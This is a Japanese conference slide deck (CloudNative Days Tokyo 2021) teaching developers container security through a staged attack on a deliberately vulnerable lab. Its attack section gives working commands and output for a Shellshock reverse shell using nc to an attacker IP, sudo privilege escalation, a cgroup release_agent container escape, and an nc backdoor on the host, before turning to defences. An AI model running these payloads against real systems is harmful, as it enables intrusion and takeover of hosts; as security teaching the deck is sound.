乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）

1. 2021/11/04 17:20-18:00 Track F @mochizuki875 乗っ取れコンテナ！！ ∼開発者から見たコンテナセキュリティの考え方∼

2. @mochizuki875 Name Keita Mochizuki（mochizuki875） Company NTT DATA Corporation Role Cloud Engineer whoami

3. Name Keita Mochizuki（mochizuki875） Company NTT DATA Corporation Role Cloud Engineer whoami たぬきではなくきつねです。 @mochizuki875

4. 毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて雑談形式で配信しています。宣伝 https://kubenews.connpass.com/ @mochizuki875 @antiberial @bells17_ @it__chago @URyo_0213

5. 毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて雑談形式で配信しています。宣伝 https://kubenews.connpass.com/ @mochizuki875 @antiberial @bells17_ @it__chago @URyo_0213 一緒にワイワイしましょう😆 ゲスト出演も絶賛募集中です！！ ※ゲスト出演頂ける方は以下メンバーのTwitter DMまでご連絡頂ければと思います

6. 本セッションのターゲットコンテナを利用する開発者コンテナのセキュリティをこれまであまり意識して来なかった人趣旨 ①コンテナを利用する上でのセキュリティリスクを実感する一般的に「〇〇だと危ない」と語られるセキュリティリスクについて攻撃事例を用いて具体的に理解する ②セキュリティリスク対策の考え方を体系的に理解するセキュリティリスクの具体的な理解を踏まえ、どういう考え方・方法でそれらに対処すべきかを理解する話さないこと今回以下については説明の対象外します。・コンテナ基盤管理者目線でのセキュリティの考え方・アプリケーションレイヤにおけるセキュリティの考え方・セキュリティリスクや対策手法の網羅的な説明・各種ツールの詳細な説明はじめに

7. ・本発表はサイバー攻撃を肯定するものではありません・発表内で用いるコンテナという言葉は基本的にruncで実行されるコンテナを指します・掲載内容は個人の見解であり、所属する企業や組織の立場、戦略、意見を代表するものではありません・記載されている会社名、商品名、またはサービス名は、各社の商標登録または商標ですはじめに

8. 1. コンテナセキュリティの全体像とスコープ 2. コンテナへの攻撃事例 2.1. 概要 2.2. コンテナを乗っ取る 2.3. コンテナホストを乗っ取る 2.4. 攻撃のまとめ 3. コンテナセキュリティの考え方 3.1. 概要 3.2. イメージレイヤ 3.3. コンテナレイヤ 4. まとめ Agenda

10. ホストOSのリスク・大きなアタックサーフェス・共有カーネル・ホスト OS コンポーネントの脆弱性・不適切なユーザアクセス権・ホスト OS ファイルシステムの改ざんオーケストレーターのリスク・制限のない管理者アクセス・不正アクセス・コンテナ間ネットワークトラフィックの不十分な分離・ワークロードの機微性レベルの混合・オーケストレータノードの信頼レジストリのリスク・レジストリへのセキュアでない接続・レジストリ内の古いイメージ・認証・認可の不十分な制限コンテナのリスク・ランタイムソフトウェア内の脆弱性・コンテナからの無制限のネットワークアクセス・セキュアでないコンテナランタイムの設定・アプリの脆弱性・未承認コンテナイメージのリスク・イメージの脆弱性・イメージの設定の不備・埋め込まれたマルウェア・埋め込まれた平文の秘密情報・信頼できないイメージの使用コンテナセキュリティのプラクティスの代表的例として、 NIST SP800-190 アプリケーションコンテナセキュリティガイドがあります。本プラクティスによるとコンテナセキュリティとして扱うべきスコープは以下のように定義されています。 NIST SP800-190 アプリケーションコンテナセキュリティガイド（IPA日本語翻訳版） https://www.ipa.go.jp/ fi les/000085279.pdf 1. コンテナセキュリティの全体像とスコープ

11. ホストOSのリスク・大きなアタックサーフェス・共有カーネル・ホスト OS コンポーネントの脆弱性・不適切なユーザアクセス権・ホスト OS ファイルシステムの改ざんオーケストレーターのリスク・制限のない管理者アクセス・不正アクセス・コンテナ間ネットワークトラフィックの不十分な分離・ワークロードの機微性レベルの混合・オーケストレータノードの信頼レジストリのリスク・レジストリへのセキュアでない接続・レジストリ内の古いイメージ・認証・認可の不十分な制限コンテナのリスク・ランタイムソフトウェア内の脆弱性・コンテナからの無制限のネットワークアクセス・セキュアでないコンテナランタイムの設定・アプリの脆弱性・未承認コンテナイメージのリスク・イメージの脆弱性・イメージの設定の不備・埋め込まれたマルウェア・埋め込まれた平文の秘密情報・信頼できないイメージの使用 1. コンテナセキュリティの全体像とスコープコンテナセキュリティのプラクティスの代表的例として、 NIST SP800-190 アプリケーションコンテナセキュリティガイドがあります。本プラクティスによるとコンテナセキュリティとして扱うべきスコープは以下のように定義されています。 NIST SP800-190 アプリケーションコンテナセキュリティガイド https://www.ipa.go.jp/ fi les/000085279.pdf 雰囲気は分かる！！が、具体的に捉え辛い・・・ ※個人の見解です

12. Registry Cloud/NW Host OS Orchestrator Container Runtime Container Container Image Application Developer Administrator デプロイするコンテナのセキュリティを考えるコンテナ基盤のセキュリティを考える・どのようなコンテナをデプロイするか・コンテナにどのような設定を行うか・基盤をどのように管理するか・基盤にどのような設定を行うか・基盤にどのような制限をかけるか・基盤をどのように監視するか NIST SP800-190をベースにコンテナセキュリティで扱うスコープをさらに細分化すると、以下のように開発者と基盤管理者それぞれで担うべきレイヤに分けることができます。一般的にはこれら各レイヤそれぞれに対してセキュリティ対策を行う多層防御の考え方が推奨されます。 1. コンテナセキュリティの全体像とスコープ

13. Registry Cloud/NW Host OS Orchestrator Container Runtime Container Container Image Application Developer Administrator デプロイするコンテナのセキュリティを考えるコンテナ基盤のセキュリティを考える・どのようなコンテナをデプロイするか・コンテナにどのような設定を行うか・基盤をどのように管理するか・基盤にどのような設定を行うか・基盤にどのような制限をかけるか・基盤をどのように監視するか本セッションではその中でも開発者の責任レイヤに関するセキュリティリスク及び対策の考え方を具体的な例に基づき扱っていきたいと思います。 1. コンテナセキュリティの全体像とスコープ ※Applicationについても開発者の責任範囲ではありますが、今回の趣旨とは逸れるためここではスコープから除外しています

14. Role Layer NIST SP800-190 イメージのリスクコンテナのリスクオーケストレータのリスクホストOSのリスクレジストリのリスク Developer Application アプリの脆弱性 Container Image イメージの脆弱性イメージの設定不備* 埋め込まれたマルウェア埋め込まれた平文の秘密情報信頼できないイメージの使用 Container イメージの設定不備* セキュアでないコンテナランタイムの設定共有カーネル* ホスト OS ファイルシステムの改ざん* Administrator Container Runtime ランタイムソフトウェア内の脆弱性 Orchestrator コンテナからの無制限のネットワークアクセス未承認コンテナ制限のない管理者アクセス不正アクセスコンテナ間ネットワークトラフィックの不十分な分離ワークロードの機微性レベルの混合オーケストレータノードの信頼 Host OS 共有カーネル* ホスト OS ファイルシステムの改ざん* ホスト OS コンポーネントの脆弱性大きなアタックサーフェス** 不適切なユーザアクセス権 ** Cloud/NW 大きなアタックサーフェス** 不適切なユーザアクセス権 ** Registry レジストリへのセキュアでない接続レジストリ内の古いイメージ認証・認可の不十分な制限（参考）各レイヤへのマッピング 1. コンテナセキュリティの全体像とスコープ

15. CloudNative Days Tokyo 2020「攻撃しながら考えるKubernetesのセキュリティ」資料 https://speakerdeck.com/fujiihda/considering-kubernetes-security-while-attacking 動画 https://event.cloudnativedays.jp/cndt2020/talks/26 CloudNative Days Online 2021「ここからはじめるKubernetesセキュリティ」資料 https://speakerdeck.com/tetsuyaisogai/kubernetes-security-101 動画 https://event.cloudnativedays.jp/cndo2021/talks/611 基盤管理者目線のリスクやセキュリティ対策にも興味がある方は、以下のセッションが参考になると思いますので合わせてご覧ください。（参考）基盤管理者目線のセキュリティ 1. コンテナセキュリティの全体像とスコープ

17. ここからは開発者の責任レイヤをスコープとしたセキュリティリスクを実感するため、セキュリティリスクを含むコンテナに対する攻撃事例を解説していきます。今回の検証及び解説は以下の環境を前提としています。環境 Linux Kernel：5.4.0-72-generic OS：Ubuntu 20.04.2 LTS Kubernetes：v1.22.0 CRI：containerd 1.4.9 OCI：runc 1.0.1 PoC資材URL mochizuki875/CVE-2014-6271-Apache-Debian https://github.com/mochizuki875/CVE-2014-6271-Apache-Debian 是非やってみてね！ ※ご自身の環境で！！！！ 2.1. コンテナへの攻撃事例 -概要-

18. https://attack.mitre.org/matrices/enterprise/containers/ 2.1. コンテナへの攻撃事例 -概要- MITRE ATT&CK 攻撃者の戦略（Tactics）と技術（Techniques）を分析し整理したナレッジベース。コンテナに対して行われ得る攻撃パターンを理解するのに役立つ。

19. https://attack.mitre.org/matrices/enterprise/containers/ 2.1. コンテナへの攻撃事例 -概要- 攻撃フェーズ攻撃手法 MITRE ATT&CK 攻撃者の戦略（Tactics）と技術（Techniques）を分析し整理したナレッジベース。コンテナに対して行われ得る攻撃パターンを理解するのに役立つ。

20. https://attack.mitre.org/matrices/enterprise/containers/ 2.1. コンテナへの攻撃事例 -概要- MITRE ATT&CK 本日は主に以下赤枠で示した箇所を対象として攻撃デモを行なっていきます。

21. Developer Kubernetes Cluster Worker Node #1 Worker Node #2 Manifest Container Image Service A Service B Service C $ kubectl apply Master Node WebサイトをコンテナとしてデプロイあるチームではKubernetesをコンテナ基盤として利用しており、アプリ開発者は様々なサービスをコンテナ（Pod）としてデプロイしています。ある時、新たにWebサービスをユーザーに提供しようとコンテナをデプロイしました。 ※今回のケースではWebサービスデプロイに用いるコンテナイメージ、Kubernetes Manifest（コンテナ起動設定）にセキュリティリスクを含んでおり、攻撃者はそれらを利用して攻撃を仕掛けますセキュリティリスクを含む 2.1. コンテナへの攻撃事例 -概要-

22. Developer Kubernetes Cluster Worker Node #1 Worker Node #2 Service A Service B Service C Web $ kubectl get pod NAME READY STATUS RESTARTS AGE web 1/1 Running 0 3m service_a 1/1 Running 0 15h20m service_b 1/1 Running 0 9h17m service_c 1/1 Running 0 7h11m Master Node 2.1. コンテナへの攻撃事例 -概要- あるチームではKubernetesをコンテナ基盤として利用しており、アプリ開発者は様々なサービスをコンテナ（Pod）としてデプロイしています。ある時、新たにWebサービスをユーザーに提供しようとコンテナをデプロイしました。 ※今回のケースではWebサービスデプロイに用いるコンテナイメージ、Kubernetes Manifest（コンテナ起動設定）にセキュリティリスクを含んでおり、攻撃者はそれらを利用して攻撃を仕掛けます

23. User Kubernetes Cluster Worker Node #1 Worker Node #2 Service A Service B Service C Web NW Master Node Webサイトにアクセスユーザーは新たに公開されたWebサービスにアクセスし、サービスを利用します。 2.1. コンテナへの攻撃事例 -概要-

24. 今回のWebサービスは以下のように非常にシンプルな内容のものとなっています。ページに埋め込まれたリンクをクリックすると、対象のページに移動できるようになっています。 http://container-hands-on.local ※Load Balancer等なんらかの手段を用いてコンテナを外部公開している 2.1. コンテナへの攻撃事例 -概要-

25. 2.1. コンテナへの攻撃事例 -概要- 今回のWebサービスは以下のように非常にシンプルな内容のものとなっています。ページに埋め込まれたリンクをクリックすると、対象のページに移動できるようになっています。

26. 2.1. コンテナへの攻撃事例 -概要- 今回のWebサービスは以下のように非常にシンプルな内容のものとなっています。ページに埋め込まれたリンクをクリックすると、対象のページに移動できるようになっています。

27. Attacker Kubernetes Cluster Worker Node #1 Worker Node #2 Service A Service B Service C Web NW Master Node 悪意のあるユーザー（攻撃者）がWebサービスのセキュリティリスクを発見し、攻撃を仕掛けようと試みます。なお、今回の例で攻撃者は一般ユーザーと同じくインターネット越しにサービスにアクセスするものとします。 ※本来攻撃を仕掛ける際は攻撃者がどのようにセキュリティリスクを発見するか、どのように攻撃対象の構成を知るか、といった観点も考慮する必要がありますが、今回の趣旨とは話が逸れるため省略させていただきます。 Attack!! 2.1. コンテナへの攻撃事例 -概要-

28. Attacker Container Host（Worker Node #1） Service A Web 今回のシナリオでは攻撃者は以下の2つの攻撃を試みます。 [シナリオ①] コンテナを乗っ取る Webサービスに不正なリクエストを送りつけることでコンテナにバックドアを仕掛けて侵入する。その後、Webサイトのリンクを書き換える。 [シナリオ②] コンテナホストを乗っ取る侵入したコンテナからコンテナホストに対して不正なコマンドを発行する。コマンド実行によりバックドアを仕掛けることでコンテナホストに侵入する。 ①-1. コンテナ内に侵入 ①-2. Webサイトを書き換え cmd ②-1. コンテナホストに対して不正なコマンドを実行 Back Door ②-2. バックドアを作成 ②-3. バックドアを経由して侵入 2.1. コンテナへの攻撃事例 -概要- ※開発者がセキュリティリスクを含むコンテナをデプロイしているケースを想定した攻撃デモを目的としているため、意図的に脆弱な環境を作成していますまた、コンテナレイヤのリスクを表現するため、あえて基盤管理レイヤへのセキュリティ対策は行っていません

29. 乗っ取っていくぅ！！ 😎

30. Attacker Container Host（Worker Node #1）最初に攻撃者は以下のようなHTTPリクエストをWebサービスコンテナに対して発行します。これによりコンテナ内で不正にコマンドが実行され、コンテナに侵入するためのバックドアが作成されます。不正なHTTPリクエストを送信 # nc -nvlp 5050 # curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <攻撃端末IP> 5050" http://container-hands-on.local/cgi-bin/vulnerable Web 攻撃者端末（ターミナル1）攻撃者端末（ターミナル2）ターミナル2のHTTPリクエストでヘッダに付与したコマンドが実行され、攻撃者端末とセッションを確立 5050ポート待ち受け /bin/nc 2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-

31. Attacker Container Host（Worker Node #1）攻撃者のターミナル1でコンテナに侵入できた（コンテナ内のshellを取得できた）ことが確認できます。これにより攻撃者はコンテナ内で任意の操作が可能になりました。コンテナ内に侵入 # nc -nvlp 5050 Listening on 0.0.0.0 5050 Connection received on 192.168.2.155 54758 id uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel) hostname web Web コンテナ（攻撃者端末のターミナル1から侵入）攻撃者はコンテナ内で任意のコマンドを実行可能になった 5050ポート待ち受けコンテナとセッション確立 2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-

32. Attacker Container Host（Worker Node #1）侵入したコンテナ内で以下のコマンドを実行し、Webコンテンツのリンクを書き換えます。 Webサイトを書き換え sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/danger.html/' /var/www/html/index.html Web コンテナ（攻撃者端末のターミナル1から侵入） ※今回は検証用ということであらかじめコンテナ内に用意したダミーページ（ /var/www/html/danger.html）にリンク先を変更しています。 5050ポート待ち受けコンテナとセッション確立 2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-

33. 実際にWebサイトにアクセスしてみます。一見変わりはありませんが・・・ 2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-

34. リンクが改竄されておりユーザーは意図しないページに誘導されてしまいます。ここまでで攻撃者はWebサービスを提供するコンテナに侵入し、コンテンツの改竄を行うことができました。（コンテナを乗っ取ることができた） 2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-

35. Attacker Container Host（Worker Node #1）続いて侵入したコンテナからWorker Nodeで任意のコマンドを実行することを試みます。 ※このように本来隔離されているはずのコンテナからコンテナ外（ホストなど）に対して影響を及ぼすことをContainer Breakoutと呼ぶまずはコンテナ内でroot（特権ユーザー）に昇格します。これで侵入したコンテナ内で攻撃者はrootとして振る舞うことが可能になりました。 id uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel) sudo su - id uid=0(root) gid=0(root) groups=0(root) Web コンテナ（攻撃者端末のターミナル1から侵入） sudo su - コンテナ内で特権ユーザーに昇格 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

36. Attacker Container Host（Worker Node #1）ホストで実行したいプログラムをコンテナ内で作成します。 cat <<EOF > /cmd #!/bin/sh echo "hostname Command from Container" > /tmp/output hostname >> /tmp/output EOF # chmod +x /cmd Web コンテナ（攻撃者端末のターミナル1から侵入） cat プログラムを作成 cmd 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

37. Attacker Container Host（Worker Node #1）先ほどコンテナ内で作成したファイルcmdの実態は、ホスト上のrootfsに所属する特定ディレクトリに存在することになります。これはコンテナのrootfsがホスト上のOverlayFSからマウントされているためです。 OverlayFSは複数のディレクトリを重ね合わせて1つのファイルシステムを再現する仕組みであり、 OverlayFSに対する更新はUpperdirに反映されます。 mount -t overlay overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/87/fs:/var/lib/ containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/58/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/ snapshots/57/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/56/fs:/var/lib/containerd/ io.containerd.snapshotter.v1.overlayfs/snapshots/55/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/54/ fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/53/fs:/var/lib/containerd/ io.containerd.snapshotter.v1.overlayfs/snapshots/52/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/51/ fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs,workdir=/var/lib/containerd/ io.containerd.snapshotter.v1.overlayfs/snapshots/92/work,xino=o ff ) Web コンテナ（攻撃者端末のターミナル1から侵入） /sys/fs/cgroup/rdma/ x notify_on_release cmd Overlayfs Upperdir Lowerdir(Layer1) Lowerdir(Layer2) work cmd 実体はホスト上の Overlayfsに存在 ※マウントされているOverlayfsのホスト上でのパスは、コンテナ内でmountコマンドを実行することで確認可能です。 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

38. Attacker Container Host（Worker Node #1）コンテナ内でcgroupと呼ばれる特殊なファイルシステムに対してディレクトリを作成します。このcgroupというファイルシステムについてはコンテナとホストで共有されているため、ここではコンテナから直接ホストのcgroupを操作していることになります。 ※一般的にコンテナとホストでファイルシステムは隔離されます。しかしcgroupについてはデフォルトでcgroup namespaceが共通であるため、双方で共有される事になることになります。 mkdir /sys/fs/cgroup/rdma/x ls /sys/fs/cgroup/rdma/ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x Web コンテナ（攻撃者端末のターミナル1から侵入） root@k8s-cluster1-worker01: # ls /sys/fs/cgroup/rdma/ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x コンテナホスト /sys/fs/cgroup/rdma/ x mkdir コンテナ内でcgroupを作成すると、同じものがホスト上にも作成される 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

39. Attacker Container Host（Worker Node #1） cgroupがコンテナとホストで共通であることを利用すると、以下のようなコマンド操作を行うことで先ほど用意したプログラムをcgroupの機能を用いて発火させ、ホスト上で実行できるようになります。 [補足] cgroupとはカーネル上のプロセスに対してリソースの制限を行う仕組みであり、ここではcgroup v1のもつrelease agentという機能を利用しています。 release agentを有効（①）にした上で設定ファイルにプログラムを登録（②）しておくことで、特定のcgroupに所属するプロセスが全て終了（③）したことを契機にそのプログラムを実行することができます。 Web /sys/fs/cgroup/rdma/ x notify_on_release コマンド実行 sh Overlayfs Upperdir Lowerdir(Layer1) Lowerdir(Layer2) work cmd release_agent 登録されたプログラムを発火 cgroup.procs process コマンド実行時にPIDが登録され完了に伴い削除される ※xに所属するプロセスが全て終了したとみなされるホスト上で実行 echo 1 > /sys/fs/cgroup/rdma/x/notify_on_release echo "/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs/cmd" > /sys/fs/cgroup/rdma/release_agent sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs" コンテナ（攻撃者端末のターミナル1から侵入）・・・① ・・・② ・・・③ ホスト上でのcmdのパス 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

40. コンテナ内で用意したプログラムがホスト上で実行されたことを確認します。今回は以下のようにホスト側にファイルを作成し、メッセージを出力するコマンドをプログラム内で定義しました。ホスト上で確認するとコンテナ内で用意したプログラムが実行され、メッセージが出力されていることが分かります。これで攻撃者はコンテナからホストに対して任意のコマンドを発行できるようになりました。コンテナ内で用意したプログラム（再掲） root@k8s-cluster1-worker01: # cat /tmp/output hostname Command from Container k8s-cluster1-worker01 cat <<EOF > /cmd #!/bin/sh echo "hostname Command from Container" > /tmp/output hostname >> /tmp/output EOF ホスト上でのコマンド実行結果 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

41. コンテナ内からホスト上で任意のコマンドを実行できることを利用し、ホストにバックドアを仕掛けて侵入することを試みます。まずはホストのIPアドレスを取得します。コンテナ（攻撃者端末のターミナル1から侵入） cat <<EOF > /cmd #!/bin/sh ip a > /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs/ip.txt EOF ホストから見たコンテナのrootfsのパス sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs" cat /ip.txt （略） 2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:0c:29:d1:c7:c6 brd ff : ff : ff : ff : ff : ff inet 192.168.2.154/24 brd 192.168.2.255 scope global ens160 （略）プログラムの作成プログラムの実行プログラムの実行結果の確認 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

42. 以下のようなコマンドをそれぞれ攻撃者端末及びコンテナ内て実行することでホストに対してバックドアを仕掛け、攻撃者端末からホストに侵入することができます。コンテナ（攻撃者端末のターミナル1から侵入） cat <<EOF > /cmd #!/bin/sh nc -l 9023 ¦ bash ¦ nc <攻撃端末IP> 8023 EOF sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs" # nc -l 8023 攻撃者端末（ターミナル2） # nc 192.168.2.154 9023 攻撃者端末（ターミナル3） Attacker Container Host（Worker Node #1） Web cmd 8023ポート待ち受け Back Door （9023ポート待ち受け） 9023ポート宛通信バックドアを作成 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る- 先ほど取得したホストのIPアドレス

43. 攻撃者端末において、ターミナル3でコマンドを発行するとその実行結果がターミナル2に表示されるようになりました。これで攻撃者は自身の端末からコンテナホストに対して任意のコマンドを発行できるようになりました。（コンテナホストを乗っ取ることができた） # nc -l 8023 uid=0(root) gid=0(root) groups=0(root) k8s-cluster1-worker01 CONTAINER ID IMAGE CREATED STATE NAME ATTEMPT POD ID f73e6d0a32955 b00e04dc37e5b 15 minutes ago Running web 0 6e32489bcb40e f090ed1dec116 20e6ceb085463 29 hours ago Running service_a 0 3fd1801877dbe 4fe0ae03678de bbad1636b30d8 5 days ago Running kube-proxy 0 59c4d874c0a5b 6698a0c797f1e 8d147537fb7d1 5 days ago Running coredns 0 b52984d75ce11 攻撃者端末（ターミナル2） # nc 192.168.2.154 9023 id hostname crictl ps Attacker Container Host（Worker Node #1） Web 攻撃者はバックドアを経由して任意のコマンドを実行できるようになった 8023ポート待ち受け Back Door （9023ポート待ち受け） 9023ポート宛通信 id hostname crictl 攻撃者端末（ターミナル3） 2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

44. やったぜ！！ 😈

45. ①コンテナを乗っ取る外部からの不正なリクエストによりコンテナに侵入されたコンテナ内のファイル（Webコンテンツ）を書き換えられた ②コンテナホストを乗っ取るコンテナ内で用意した不正なプログラムをホスト上に配置されたコンテナからホストのcgroupを操作され、不正なプログラムを実行された今回の攻撃で行われたことを整理すると以下のようになります。これらの攻撃は開発者の責任範囲であるコンテナイメージ及びコンテナレイヤに含まれるセキュリティリスクを悪用して行われました。 2.4. コンテナへの攻撃事例 -攻撃のまとめ-

46. 何がいけなかったのか？どうすれば良かったのか？

48. ※Applicationについても開発者の責任範囲ではありますが、今回の趣旨とは逸れるためここではスコープから除外していますコンテナをデプロイするにあたり開発者はそれぞれ以下2つのレイヤについてセキュリティリスクを意識し、対策を考える必要があります。・Container Image：どのようなコンテナをデプロイするか・Container：デプロイするコンテナにどのような設定を行うか 3.1. コンテナセキュリティの考え方 -概要- Registry Cloud/NW Host OS Orchestrator Container Runtime Container Container Image Application Developer Administrator Docker fi le Kubernetes Manifest 今回はDocker fi leを用いてイメージをビルドし、 Kubernetes Manifestを用いてKubernetes上にコンテナをデプロイするという最も一般的なケースを用いることとします。

49. 以下ではコンテナイメージ、コンテナそれぞれのレイヤにおけるセキュリティの考え方について、先の攻撃事例を元に3ステップでご説明します。基本原則リスク対策各レイヤにおいてセキュリティを考える際の基本原則を説明攻撃事例を元にどのようなことがセキュリティリスクになり得るか説明セキュリティ対策の具体的な手法を説明 3.1. コンテナセキュリティの考え方 -概要-

51. Container Host process Container A Image A Container Host process Container B Image B 必要最小限のライブラリやパッケージ、バイナリ、設定値を含めたイメージ必要以上のライブラリやパッケージ、バイナリ、設定値を含めたイメージコンテナの隔離環境には必要最小限のものが含まれる状態コンテナの隔離環境に様々なものが含まれる状態＜＜セキュリティリスク＜＜イメージに余分なものを含めない 3.2. コンテナセキュリティの考え方 -イメージ- 基本原則小大

52. 一般的にイメージに含めるべきでないとされるもの不要なパッケージ不要なプログラムやIF 不要なプロセス不要な設定秘密情報 3.2. コンテナセキュリティの考え方 -イメージ- 基本原則上記のようなものがコンテナに含まれていることで、起動するコンテナに脆弱性を含んでしまうリスクや攻撃者に対する攻撃の機会を与えてしまうこと（Attack Surface）に繋がる

53. 今回攻撃が成立してしまったケースにおいて、開発者が用意したイメージ（Docker fi le）がどうだったか見てみましょう。一見Docker fi le内で行っていることに問題はなさそうです。しかしながら使用しているベースイメージは本当に信頼できるものなのでしょうか。 FROM mochizuki875/cve-2014-6271-apache-debian:buster # Place content COPY index.html /var/www/html/ RUN chown www-data:www-data /var/www/html/index.html 開発者が用意したDocker fi le （mochizuki875/training-website-poc:v1.0） ※今回はあくまで例なのであからさまに怪しいベースイメージ名になっていますが、実際のケースでは開発者が何となく選定したイメージを想定してください（例えば開発者がDockerHubで"performance-lab/high-performance-httpd:v1.0"のようなものを見つけて使用） 3.2. コンテナセキュリティの考え方 -イメージ- リスク

54. 開発者が使用したベースイメージの中身は以下のようになっており、本来含めるべきでない様々な余分なものが含まれている状態でした。 FROM debian:buster # Install packages and permission setting RUN apt-get update && apt-get upgrade -y && DEBIAN_FRONTEND=noninteractive apt-get install -y apache2 && a2enmod cgid && apt-get -y install libtinfo5 && apt-get -y install netcat && apt-get install -y sudo && groupadd wheel && usermod -aG wheel www-data && echo "%wheel ALL=NOPASSWD: ALL" >> /etc/sudoers && apt-get clean && rm -rf /var/lib/apt/lists/* # Inject CVE-2014-6271 bash COPY packages /packages RUN dpkg -i /packages/* # Place content COPY vulnerable /usr/lib/cgi-bin/ COPY danger.html /var/www/html/ RUN chown www-data:www-data /var/www/html/* && chown www-data:www-data /usr/lib/cgi-bin/vulnerable && chmod +x /usr/lib/cgi-bin/vulnerable EXPOSE 80 CMD ["/usr/sbin/apache2ctl", "-DFOREGROUND"] 不要なパッケージ不要な設定脆弱性を含むパッケージ ※CVE-2014-6271を含むbash 不要なIF ベースイメージのDocker fi le （ mochizuki875/cve-2014-6271-apache-debian:buster） 3.2. コンテナセキュリティの考え方 -イメージ- リスク

55. 今回の攻撃事例では攻撃者がコンテナに侵入する際、 Webサーバーのコンテナに対して以下のようなHTTPリクエストを発行していました。このHTTPリクエストではコンテナイメージ内に含まれていた以下2つの要素を悪用することでコンテナ内で任意のコマンドをリモート実行することを試みています。・CGI（Common Gateway Interface）：Webサーバーに配置されたプログラムを呼び出すIF ・CVE-2014-6271：GCI経由で任意のコマンドをリモート実行できてしまうbashの脆弱性（ShellShock）その結果、コンテナにバックドアを仕掛け、コンテナに侵入するに至りました。 # curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <攻撃端末IP> 5050" http://container-hands-on.local/cgi-bin/vulnerable CGIに対するリクエスト脆弱性を利用してバックドアを仕掛けるコマンドを実行攻撃者が外部からコンテナに侵入する際に用いたコマンド（再掲） 3.2. コンテナセキュリティの考え方 -イメージ- リスク

56. また、コンテナイメージに不要なコマンド（sudo）が含まれていたこともセキュリティリスクであったといえます。本来コンテナが動作する上で必要ではないsudoコマンドが含まれていたことにより、攻撃者はコンテナに侵入後、特権ユーザーに昇格し、悪意のある操作を行うことができてしまいました。 id uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel) sudo su - id uid=0(root) gid=0(root) groups=0(root) コンテナ侵入後の特権昇格（再掲） 3.2. コンテナセキュリティの考え方 -イメージ- リスク

57. 代表的なイメージのセキュリティリスクに対処するためのプラクティス ■概念 NIST SP800-190 アプリケーションコンテナセキュリティガイド（IPA日本語翻訳版） - 4.1 イメージの対策 https://www.ipa.go.jp/ fi les/000085279.pdf ■具体的な設定 CIS Benchmark Docker - 4 Container Images and Build File Con fi guration https://www.cisecurity.org/benchmark/docker Best practices for writing Docker fi les https://docs.docker.com/develop/develop-images/docker fi le_best-practices/ 3.2. コンテナセキュリティの考え方 -イメージ- 対策

58. 今回の攻撃事例のように信頼できないベースイメージを使用するとイメージに意図せぬセキュリティリスクを含む危険性があります。ベースイメージには信頼できるイメージを使う、もしくはscratchでイメージを作成するということがイメージのセキュリティ対策を考える上での大前提となります。 # O ffi cial Image of Apache HTTP Server Project FROM httpd:2.4.48-alpine # Place content COPY index.html /usr/local/apache2/htdocs/ RUN chown www-data:www-data /usr/local/apache2/htdocs/index.html Docker fi le（httpd公式イメージを使用）（mochizuki875/training-website-poc:v2.0）信頼できるイメージを利用する ※イメージとして使用するソフトウェア自体に致命的な脆弱性がないかも意識する必要があります。例えば今回の場合httpd 2.4.48自体に致命的な脆弱性が存在していないかを予め確認しておくべきです。 https://httpd.apache.org/security/vulnerabilities_24.html 3.2. コンテナセキュリティの考え方 -イメージ- 対策

